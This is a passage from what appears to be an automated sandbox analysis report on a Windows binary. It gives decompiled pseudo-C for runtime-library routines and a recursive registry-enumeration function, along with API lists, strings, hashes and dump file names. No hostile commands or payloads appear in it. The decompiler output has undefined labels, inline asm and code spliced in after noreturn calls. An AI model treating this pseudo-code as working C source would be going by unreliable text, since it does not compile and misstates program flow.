Part of subcall function 00C7B914: IsProcessorFeaturePresent.KERNEL32(00000017,00C7B8E6,?,?,?,00C65755,?,?,?,00C7B8F3,00000000,00000000,00000000,00000000,00000000,00C87C27), ref: 00C7B916
Part of subcall function 00C7B914: GetCurrentProcess.KERNEL32(C0000417), ref: 00C7B939
Part of subcall function 00C7B914: TerminateProcess.KERNEL32(00000000), ref: 00C7B940

Strings

<program name unknown>, xrefs: 00C76465
Microsoft Visual C++ Runtime Library, xrefs: 00C764EB
..., xrefs: 00C764A4
Runtime Error!Program: , xrefs: 00C76422

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentFeatureFileModuleNamePresentProcessorTerminate
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 872218275-4022980321
Opcode ID: 5d564b8887ae8e084ea83f4a2831663ab460ac8b830dd0559c7aa77b8d2b9458
Instruction ID: 070f7ed86d2245bfe5599db42f2957ac1b418a04c44615c1cebfed297f52092c
Opcode Fuzzy Hash: 5d564b8887ae8e084ea83f4a2831663ab460ac8b830dd0559c7aa77b8d2b9458
Instruction Fuzzy Hash: 69215472A0070A67DF616A60EC4AFAB3B6C9F91748F148034FE1C52111F662CB25E691

Uniqueness

Uniqueness Score: -1.00%

Function 00C5FA74, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C5FA74(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0xca3e68 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0xc9a8f8 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E00C61DC8(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x00c5fa7b
0x00c5faef
0x00c5fa80
0x00c5fa82
0x00c5fa89
0x00c5fa8d
0x00c5fa96
0x00c5faa5
0x00c5faae
0x00c5fab2
0x00c5fafb
0x00c5fafd
0x00c5fb01
0x00c5fb04
0x00c5fb04
0x00c5fb0a
0x00c5fb0a
0x00c5faf6
0x00c5fafa
0x00c5fafa
0x00c5fab4
0x00c5fabd
0x00c5fae7
0x00c5faea
0x00c5faec
0x00c5faec
0x00000000
0x00c5faec
0x00c5fabf
0x00c5faca
0x00c5facf
0x00c5fad4
0x00000000
0x00000000
0x00c5fadb
0x00c5fae1
0x00c5fae5
0x00000000
0x00000000
0x00000000
0x00c5fae5
0x00c5fa92
0x00000000
0x00000000
0x00000000
0x00c5fa94
0x00c5faf4
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00C5FB35,?,?,00CA3E10,00000000,?,00C5FD1C,00000004,InitializeCriticalSectionEx,00C9A9EC,InitializeCriticalSectionEx,00000000), ref: 00C5FB04

Strings

api-ms-, xrefs: 00C5FAC4

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: a322e3dddeb52b6eabc55189b0526b52f6e76e8dad53806d310c29fe80fcbccc
Instruction ID: 4f377357ca260ce6ed6a9f284b1db04bff42f4259c547fc144c998c313111b48
Opcode Fuzzy Hash: a322e3dddeb52b6eabc55189b0526b52f6e76e8dad53806d310c29fe80fcbccc
Instruction Fuzzy Hash: 5D110A39A01221A7DF224768DC45B5E33A89F05771F25013AFD29EB2C0D770EE46D6DA

Uniqueness

Uniqueness Score: -1.00%

Function 00C64134, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00C64134(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0xc991a4(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x00c6413a
0x00c6413e
0x00c64149
0x00c64151
0x00c6415c
0x00c64162
0x00c64166
0x00c6416d
0x00c64173
0x00c64173
0x00c64175
0x00c6417a
0x00000000
0x00c6417f
0x00c64186

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00C640BB,00C53341,?,00C64083,00C53757,?,00C53341), ref: 00C64149
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00C6415C
FreeLibrary.KERNEL32(00000000,?,?,00C640BB,00C53341,?,00C64083,00C53757,?,00C53341), ref: 00C6417F

Strings

mscoree.dll, xrefs: 00C64142
CorExitProcess, xrefs: 00C64154

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f8b9c88ffc426004bb227d0a6f1212022d7f50817c84b89fd837595af30f0d2b
Instruction ID: 4c983daa51a227ae644a959506b79a0002f4cb0cf2649b369f974f59523c910d
Opcode Fuzzy Hash: f8b9c88ffc426004bb227d0a6f1212022d7f50817c84b89fd837595af30f0d2b
Instruction Fuzzy Hash: 11F0A031901219FBDF229BA5DD0EBDDBA78EF04756F100065F812A11A0DB718F40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C53C20, Relevance: 7.7, APIs: 5, Instructions: 205
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00C53C20(void* _a4, WCHAR* _a8, intOrPtr _a12) {
				int _v8;
				int _v12;
				signed int _v16;
				int _v20;
				char* _v24;
				short* _v28;
				long _v32;
				short* _v36;
				int _v40;
				void* _v44;
				int _v48;
				int _v52;
				int _v56;
				WCHAR* _v60;
				short _v62;
				short _v64;
				short _v66;
				char _v68;
				short _v72;
				short _v74;
				short _v76;
				short _v78;
				short _v80;
				short _v82;
				char _v84;
				char* _t93;
				short* _t99;
				WCHAR* _t109;
				short* _t118;
				char* _t120;
				void* _t165;
				void* _t168;
				void* _t169;

				_v16 = 0x100;
				_v12 = 0x800;
				_v68 = 0x25;
				_v66 = 0x31;
				_v64 = 0xa;
				_v62 = 0;
				_v84 = 0x25;
				_v82 = 0x31;
				_v80 = 0x5c;
				_v78 = 0x25;
				_v76 = 0x32;
				_v74 = 0xa;
				_v72 = 0;
				_push(_a8);
				E00C53630( &_v68);
				_push(_v16 << 1);
				_v28 = E00C53330(_v16 << 1);
				_push(_v12);
				_t93 = E00C53330(_v16 << 1);
				_t168 = _t165 + 0x10;
				_v24 = _t93;
				_v8 = 0;
				while(1) {
					_v48 = _v16;
					_v20 = _v12;
					_t132 = _v8;
					_v32 = RegEnumValueW(_a4, _v8, _v28,  &_v48, 0,  &_v52, _v24,  &_v20);
					if(_v32 != 0) {
						goto L3;
					}
					E00C53650(_v28, _v52, _v24, _v20);
					_t168 = _t168 + 0x10;
					_v8 = _v8 + 1;
					L9:
					continue;
					L3:
					if(_v32 == 0xea) {
						if(_v20 <= _v12) {
							_v16 = _v16 << 1;
							_push(_v16 << 1);
							_push(_v28);
							_t118 = E00C53350(_v16 << 1);
							_t168 = _t168 + 8;
							_v28 = _t118;
						} else {
							_v12 = _v20;
							_push(_v12);
							_push(_v24);
							_t120 = E00C53350(_v12);
							_t168 = _t168 + 8;
							_v24 = _t120;
						}
						goto L9;
					}
					if(_v8 != 0 || _a12 != 0) {
						E00C53630(0xc99734);
						_t168 = _t168 + 4;
					}
					_push(0x202);
					_t99 = E00C53330(_t132);
					_t169 = _t168 + 4;
					_v36 = _t99;
					_v56 = lstrlenW(_a8);
					_v8 = 0;
					while(1) {
						_v40 = 0x101;
						_v32 = RegEnumKeyExW(_a4, _v8, _v36,  &_v40, 0, 0, 0, 0);
						if(_v32 != 0) {
							break;
						}
						if(_a12 == 0) {
							_push(_v36);
							_push(_a8);
							E00C53630( &_v84);
							_t169 = _t169 + 0xc;
						} else {
							_t109 = E00C51D90(_v56, _a8, _v56, _v36, _v40);
							_t169 = _t169 + 0x10;
							_v60 = _t109;
							if(RegOpenKeyExW(_a4, _v36, 0, 0x20019,  &_v44) == 0) {
								E00C53C20(_v44, _v60, _a12);
								_t169 = _t169 + 0xc;
								RegCloseKey(_v44);
							}
						}
						_v8 = _v8 + 1;
					}
					if(_v8 != 0 && _a12 == 0) {
						E00C53630(0xc99734);
					}
					return 0;
				}
			}

0x00c53c26
0x00c53c2d
0x00c53c39
0x00c53c42
0x00c53c4b
0x00c53c51
0x00c53c5a
0x00c53c63
0x00c53c6c
0x00c53c75
0x00c53c7e
0x00c53c87
0x00c53c8d
0x00c53c94
0x00c53c99
0x00c53ca6
0x00c53caf
0x00c53cb5
0x00c53cb6
0x00c53cbb
0x00c53cbe
0x00c53cc1
0x00c53cc8
0x00c53ccb
0x00c53cd1
0x00c53cea
0x00c53cf8
0x00c53cff
0x00000000
0x00000000
0x00c53d11
0x00c53d16
0x00c53d1f
0x00c53d71
0x00000000
0x00c53d24
0x00c53d2b
0x00c53d33
0x00c53d55
0x00c53d5d
0x00c53d61
0x00c53d62
0x00c53d67
0x00c53d6a
0x00c53d35
0x00c53d38
0x00c53d3e
0x00c53d42
0x00c53d43
0x00c53d48
0x00c53d4b
0x00c53d4b
0x00000000
0x00c53d6d
0x00c53d7a
0x00c53d87
0x00c53d8c
0x00c53d8c
0x00c53d8f
0x00c53d94
0x00c53d99
0x00c53d9c
0x00c53da9
0x00c53dac
0x00c53db3
0x00c53db3
0x00c53dd8
0x00c53ddf
0x00000000
0x00000000
0x00c53de5
0x00c53e42
0x00c53e46
0x00c53e4b
0x00c53e50
0x00c53de7
0x00c53df7
0x00c53dfc
0x00c53dff
0x00c53e1d
0x00c53e2b
0x00c53e30
0x00c53e37
0x00c53e37
0x00c53e3d
0x00c53e59
0x00c53e60
0x00c53e69
0x00c53e76
0x00c53e7b
0x00c53e83
0x00c53e83

APIs

RegEnumValueW.ADVAPI32(00000800,00000000,?,?,00000000,?,?,?), ref: 00C53CF2
lstrlenW.KERNEL32(00000100), ref: 00C53DA3
RegEnumKeyExW.ADVAPI32(00000800,00000000,?,00000101,00000000,00000000,00000000,00000000), ref: 00C53DD2
RegOpenKeyExW.ADVAPI32(00000800,?,00000000,00020019,?), ref: 00C53E15
RegCloseKey.ADVAPI32(?), ref: 00C53E37

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Enum$CloseOpenValuelstrlen
String ID:
API String ID: 469775140-0
Opcode ID: dd08315e9e671ce12640cbec67ce729b48d2214216d161d9ac2040665ac63de7
Instruction ID: 22fe236b0c52da8e70e3e187eb1e62174eb85d0f2a80c1abcc1c6e2680b3443d
Opcode Fuzzy Hash: dd08315e9e671ce12640cbec67ce729b48d2214216d161d9ac2040665ac63de7
Instruction Fuzzy Hash: 7B814BB9E10248ABDF04DFD8D845BEEB7B5BF48301F108119E915A7240D774AB89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C78BB8, Relevance: 7.7, APIs: 5, Instructions: 186
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00C78BB8(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v60;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				short _v454;
				intOrPtr _v456;
				signed int _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v512;
				char _v536;
				intOrPtr _v540;
				signed int _v544;
				intOrPtr _v548;
				signed int _v560;
				char _v708;
				signed int _v712;
				short _v714;
				signed int* _v716;
				signed int _v720;
				signed int _v724;
				signed int _v728;
				signed int* _v732;
				intOrPtr _v736;
				signed int _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v824;
				char _v1252;
				char _v1264;
				intOrPtr _v1276;
				signed int _v1288;
				signed short _v1324;
				void* __ebp;
				signed int _t242;
				void* _t245;
				signed int _t248;
				signed int _t250;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t260;
				signed int _t261;
				void* _t263;
				signed int _t264;
				signed int _t265;
				signed int _t266;
				signed int _t268;
				signed int _t271;
				signed int _t278;
				signed int _t279;
				signed int _t281;
				signed int _t282;
				intOrPtr _t283;
				signed int _t286;
				signed int _t288;
				intOrPtr _t289;
				signed int _t292;
				signed int _t294;
				void* _t295;
				signed int _t301;
				signed int _t302;
				signed int _t304;
				signed int _t305;
				signed int _t323;
				signed int _t325;
				signed int _t327;
				signed int _t332;
				void* _t333;
				signed int _t335;
				void* _t336;
				intOrPtr _t337;
				signed int* _t340;
				signed int _t341;
				signed int _t342;
				intOrPtr* _t347;
				signed int _t361;
				signed int _t363;
				void* _t364;
				signed int _t365;
				intOrPtr* _t366;
				signed int _t368;
				void* _t369;
				void* _t373;
				signed int _t377;
				intOrPtr* _t378;
				intOrPtr* _t381;
				void* _t384;
				signed int _t385;
				signed int _t388;
				intOrPtr* _t389;
				signed int _t398;
				intOrPtr _t401;
				intOrPtr* _t402;
				signed int _t404;
				signed int* _t408;
				signed int _t409;
				signed int* _t415;
				signed int _t416;
				signed int _t425;
				short _t426;
				signed int _t428;
				intOrPtr _t429;
				void* _t430;
				signed int _t432;
				intOrPtr _t433;
				void* _t434;
				signed int _t435;
				signed int _t438;
				intOrPtr _t444;
				signed int _t445;
				void* _t446;
				signed int _t447;
				signed int _t448;
				void* _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int* _t458;
				intOrPtr* _t459;
				short _t460;
				signed int _t462;
				signed int _t463;
				void* _t465;
				void* _t466;
				signed int _t467;
				void* _t468;
				void* _t469;
				signed int _t470;
				void* _t472;
				void* _t473;
				signed int _t485;

				_t424 = __edx;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t361 = E00C7CAA8(0x6a6);
				_t241 = 0;
				_pop(_t373);
				if(_t361 == 0) {
					L20:
					return _t241;
				} else {
					_push(__edi);
					_t428 = _t361 + 4;
					 *_t428 = 0;
					 *_t361 = 1;
					_t444 = _a4;
					_t242 = _t444 + 0x30;
					_push( *_t242);
					_v16 = _t242;
					_push(0xc9afa0);
					_push( *0xc9aedc);
					E00C78AF4(_t361, _t373, __edx, _t428, _t444, _t428, 0x351, 3);
					_t466 = _t465 + 0x18;
					_v8 = 0xc9aedc;
					while(1) {
						L2:
						_t245 = E00C80338(_t428, 0x351, 0xc9af9c);
						_t467 = _t466 + 0xc;
						if(_t245 != 0) {
							break;
						} else {
							_t340 = _v16;
							_t415 =  &(_t340[4]);
							_t341 =  *_t340;
							_v16 = _t415;
							_t416 =  *_t415;
							_v20 = _t416;
							goto L4;
						}
						while(1) {
							L4:
							_t424 =  *_t341;
							if(_t424 !=  *_t416) {
								break;
							}
							if(_t424 == 0) {
								L8:
								_t342 = 0;
							} else {
								_t424 =  *((intOrPtr*)(_t341 + 2));
								if(_t424 !=  *((intOrPtr*)(_t416 + 2))) {
									break;
								} else {
									_t341 = _t341 + 4;
									_t416 = _t416 + 4;
									if(_t424 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							_push(_v20);
							_push(0xc9afa0);
							asm("sbb eax, eax");
							_v12 = _v12 &  !( ~_t342);
							_t347 = _v8 + 0xc;
							_v8 = _t347;
							_push( *_t347);
							E00C78AF4(_t361, _t416, _t424, _t428, _t444, _t428, 0x351, 3);
							_t466 = _t467 + 0x18;
							if(_v8 < 0xc9af0c) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E00C7CA6E(_t361);
									_t435 = _t428 | 0xffffffff;
									__eflags =  *(_t444 + 0x28);
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											E00C7CA6E( *(_t444 + 0x28));
										}
									}
									__eflags =  *(_t444 + 0x24);
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t435 == 1;
										if(_t435 == 1) {
											E00C7CA6E( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) = 0;
									 *(_t444 + 0x1c) = 0;
									 *(_t444 + 0x28) = 0;
									 *((intOrPtr*)(_t444 + 0x20)) = 0;
									_t241 =  *((intOrPtr*)(_t444 + 0x40));
								} else {
									_t438 = _t428 | 0xffffffff;
									_t485 =  *(_t444 + 0x28);
									if(_t485 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t485 == 0) {
											E00C7CA6E( *(_t444 + 0x28));
										}
									}
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										if(_t438 == 1) {
											E00C7CA6E( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) =  *(_t444 + 0x24) & 0x00000000;
									_t241 = _t361 + 4;
									 *(_t444 + 0x1c) =  *(_t444 + 0x1c) & 0x00000000;
									 *(_t444 + 0x28) = _t361;
									 *((intOrPtr*)(_t444 + 0x20)) = _t241;
								}
								goto L20;
							}
							goto L135;
						}
						asm("sbb eax, eax");
						_t342 = _t341 | 0x00000001;
						__eflags = _t342;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00C7B914();
					asm("int3");
					_t462 = _t467;
					_t468 = _t467 - 0x1d0;
					_t248 =  *0xca3098; // 0x75d6936a
					_v60 = _t248 ^ _t462;
					_t250 = _v44;
					_push(_t361);
					_push(_t444);
					_t445 = _v40;
					_push(_t428);
					_t429 = _v48;
					_v512 = _t429;
					__eflags = _t250;
					if(_t250 == 0) {
						_v460 = 1;
						_v472 = 0;
						_t363 = 0;
						_v452 = 0;
						__eflags = _t445;
						if(__eflags == 0) {
							L79:
							_t250 = E00C78BB8(_t363, _t424, _t429, _t445, __eflags, _t429);
							goto L80;
						} else {
							__eflags =  *_t445 - 0x4c;
							if( *_t445 != 0x4c) {
								L59:
								_t250 = E00C784CA(_t424, _t445,  &_v276, 0x83,  &_v448, 0x55,  &_v468);
								_t469 = _t468 + 0x18;
								__eflags = _t250;
								if(_t250 != 0) {
									_t377 = 0;
									__eflags = 0;
									_t425 = _t429 + 0x20;
									_t447 = 0;
									_v452 = _t425;
									do {
										__eflags = _t447;
										if(_t447 == 0) {
											L74:
											_t256 = _v460;
										} else {
											_t378 =  *_t425;
											_t257 =  &_v276;
											while(1) {
												__eflags =  *_t257 -  *_t378;
												_t429 = _v464;
												if( *_t257 !=  *_t378) {
													break;
												}
												__eflags =  *_t257;
												if( *_t257 == 0) {
													L67:
													_t377 = 0;
													_t258 = 0;
												} else {
													_t426 =  *((intOrPtr*)(_t257 + 2));
													__eflags = _t426 -  *((intOrPtr*)(_t378 + 2));
													_v454 = _t426;
													_t425 = _v452;
													if(_t426 !=  *((intOrPtr*)(_t378 + 2))) {
														break;
													} else {
														_t257 = _t257 + 4;
														_t378 = _t378 + 4;
														__eflags = _v454;
														if(_v454 != 0) {
															continue;
														} else {
															goto L67;
														}
													}
												}
												L69:
												__eflags = _t258;
												if(_t258 == 0) {
													_t363 = _t363 + 1;
													__eflags = _t363;
													goto L74;
												} else {
													_t259 =  &_v276;
													_push(_t259);
													_push(_t447);
													_push(_t429);
													L83();
													_t425 = _v452;
													_t469 = _t469 + 0xc;
													__eflags = _t259;
													if(_t259 == 0) {
														_t377 = 0;
														_t256 = 0;
														_v460 = 0;
													} else {
														_t363 = _t363 + 1;
														_t377 = 0;
														goto L74;
													}
												}
												goto L75;
											}
											asm("sbb eax, eax");
											_t258 = _t257 | 0x00000001;
											_t377 = 0;
											__eflags = 0;
											goto L69;
										}
										L75:
										_t447 = _t447 + 1;
										_t425 = _t425 + 0x10;
										_v452 = _t425;
										__eflags = _t447 - 5;
									} while (_t447 <= 5);
									__eflags = _t256;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t363;
										if(__eflags != 0) {
											goto L79;
										} else {
											_t250 = _t377;
										}
									}
								}
								goto L80;
							} else {
								__eflags =  *(_t445 + 2) - 0x43;
								if( *(_t445 + 2) != 0x43) {
									goto L59;
								} else {
									__eflags =  *((short*)(_t445 + 4)) - 0x5f;
									if( *((short*)(_t445 + 4)) != 0x5f) {
										goto L59;
									} else {
										while(1) {
											_t260 = E00C61E02(_t445, 0xc9af94);
											_t365 = _t260;
											_v468 = _t365;
											_pop(_t380);
											__eflags = _t365;
											if(_t365 == 0) {
												break;
											}
											_t261 = _t260 - _t445;
											__eflags = _t261;
											_v460 = _t261 >> 1;
											if(_t261 == 0) {
												break;
											} else {
												_t263 = 0x3b;
												__eflags =  *_t365 - _t263;
												if( *_t365 == _t263) {
													break;
												} else {
													_t432 = _v460;
													_t366 = 0xc9aedc;
													_v456 = 1;
													do {
														_t264 = E00C61DC8( *_t366, _t445, _t432);
														_t468 = _t468 + 0xc;
														__eflags = _t264;
														if(_t264 != 0) {
															goto L45;
														} else {
															_t381 =  *_t366;
															_t424 = _t381 + 2;
															do {
																_t337 =  *_t381;
																_t381 = _t381 + 2;
																__eflags = _t337 - _v472;
															} while (_t337 != _v472);
															_t380 = _t381 - _t424 >> 1;
															__eflags = _t432 - _t381 - _t424 >> 1;
															if(_t432 != _t381 - _t424 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v456 = _v456 + 1;
														_t366 = _t366 + 0xc;
														__eflags = _t366 - 0xc9af0c;
													} while (_t366 <= 0xc9af0c);
													_t363 = _v468 + 2;
													_t265 = E00C84D2D(_t380, _t363, 0xc9af9c);
													_t429 = _v464;
													_t448 = _t265;
													_pop(_t384);
													__eflags = _t448;
													if(_t448 != 0) {
														L48:
														__eflags = _v456 - 5;
														if(_v456 > 5) {
															_t385 = _v452;
															goto L54;
														} else {
															_push(_t448);
															_t268 = E00C8053C( &_v276, 0x83, _t363);
															_t470 = _t468 + 0x10;
															__eflags = _t268;
															if(_t268 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E00C7B914();
																asm("int3");
																_push(_t462);
																_t463 = _t470;
																_t271 =  *0xca3098; // 0x75d6936a
																_v560 = _t271 ^ _t463;
																_push(_t363);
																_t368 = _v544;
																_push(_t448);
																_push(_t429);
																_t433 = _v548;
																_v1288 = _t368;
																_v1276 = E00C7B398(_t384, _t424) + 0x278;
																_t278 = E00C784CA(_t424, _v540,  &_v824, 0x83,  &_v1252, 0x55,  &_v1264);
																_t472 = _t470 - 0x2e4 + 0x18;
																__eflags = _t278;
																if(_t278 == 0) {
																	L122:
																	_t279 = 0;
																	__eflags = 0;
																	goto L123;
																} else {
																	_t103 = _t368 + 2; // 0x2
																	_t452 = _t103 << 4;
																	__eflags = _t452;
																	_t281 =  &_v280;
																	_v724 = _t452;
																	_t424 =  *(_t452 + _t433);
																	_t388 = _t424;
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t281 -  *_t388;
																		_t454 = _v724;
																		if( *_t281 !=  *_t388) {
																			break;
																		}
																		__eflags =  *_t281;
																		if( *_t281 == 0) {
																			L89:
																			_t282 = _v712;
																		} else {
																			_t460 =  *((intOrPtr*)(_t281 + 2));
																			__eflags = _t460 -  *((intOrPtr*)(_t388 + 2));
																			_v714 = _t460;
																			_t454 = _v724;
																			if(_t460 !=  *((intOrPtr*)(_t388 + 2))) {
																				break;
																			} else {
																				_t281 = _t281 + 4;
																				_t388 = _t388 + 4;
																				__eflags = _v714;
																				if(_v714 != 0) {
																					continue;
																				} else {
																					goto L89;
																				}
																			}
																		}
																		L91:
																		__eflags = _t282;
																		if(_t282 != 0) {
																			_t389 =  &_v280;
																			_t424 = _t389 + 2;
																			do {
																				_t283 =  *_t389;
																				_t389 = _t389 + 2;
																				__eflags = _t283 - _v712;
																			} while (_t283 != _v712);
																			_v728 = (_t389 - _t424 >> 1) + 1;
																			_t286 = E00C7CAA8(4 + ((_t389 - _t424 >> 1) + 1) * 2);
																			_v740 = _t286;
																			__eflags = _t286;
																			if(_t286 == 0) {
																				goto L122;
																			} else {
																				_v736 =  *((intOrPtr*)(_t454 + _t433));
																				_v748 =  *(_t433 + 0xa0 + _t368 * 4);
																				_v752 =  *(_t433 + 8);
																				_v716 = _t286 + 4;
																				_t288 = E00C8040D(_t286 + 4, _v728,  &_v280);
																				_t473 = _t472 + 0xc;
																				__eflags = _t288;
																				if(_t288 != 0) {
																					_t289 = _v736;
																					_push(_t289);
																					_push(_t289);
																					_push(_t289);
																					_push(_t289);
																					_push(_t289);
																					E00C7B914();
																					asm("int3");
																					_push(_t463);
																					_t292 = (_v1324 & 0x0000ffff) - 0x2d;
																					__eflags = _t292;
																					if(_t292 == 0) {
																						L134:
																						__eflags = 0;
																						return 0;
																					} else {
																						_t294 = _t292 - 1;
																						__eflags = _t294;
																						if(_t294 == 0) {
																							_t295 = 2;
																							return _t295;
																						} else {
																							__eflags = _t294 == 0x31;
																							if(_t294 == 0x31) {
																								goto L134;
																							} else {
																								__eflags = 1;
																								return 1;
																							}
																						}
																					}
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t454 + _t433)) = _v716;
																					if(_v280 != 0x43) {
																						L100:
																						_t301 = E00C78150(_t368, _t433,  &_v708);
																						_t398 = _v712;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L100;
																						} else {
																							_t398 = _v712;
																							_t301 = _t398;
																						}
																					}
																					 *(_t433 + 0xa0 + _t368 * 4) = _t301;
																					__eflags = _t368 - 2;
																					if(_t368 != 2) {
																						__eflags = _t368 - 1;
																						if(_t368 != 1) {
																							__eflags = _t368 - 5;
																							if(_t368 == 5) {
																								 *((intOrPtr*)(_t433 + 0x14)) = _v720;
																							}
																						} else {
																							 *((intOrPtr*)(_t433 + 0x10)) = _v720;
																						}
																					} else {
																						_t458 = _v732;
																						_t424 = _t398;
																						_t408 = _t458;
																						 *(_t433 + 8) = _v720;
																						_v716 = _t458;
																						_v728 = _t458[8];
																						_v720 = _t458[9];
																						while(1) {
																							__eflags =  *(_t433 + 8) -  *_t408;
																							if( *(_t433 + 8) ==  *_t408) {
																								break;
																							}
																							_t459 = _v716;
																							_t424 = _t424 + 1;
																							_t332 =  *_t408;
																							 *_t459 = _v728;
																							_v720 = _t408[1];
																							_t408 = _t459 + 8;
																							 *((intOrPtr*)(_t459 + 4)) = _v720;
																							_t368 = _v744;
																							_t458 = _v732;
																							_v728 = _t332;
																							_v716 = _t408;
																							__eflags = _t424 - 5;
																							if(_t424 < 5) {
																								continue;
																							} else {
																							}
																							L108:
																							__eflags = _t424 - 5;
																							if(__eflags == 0) {
																								_t323 = E00C84D86(_t424, __eflags, _v712, 1, 0xc9ae50, 0x7f,  &_v536,  *(_t433 + 8), 1);
																								_t473 = _t473 + 0x1c;
																								__eflags = _t323;
																								if(_t323 == 0) {
																									_t409 = _v712;
																								} else {
																									_t325 = _v712;
																									do {
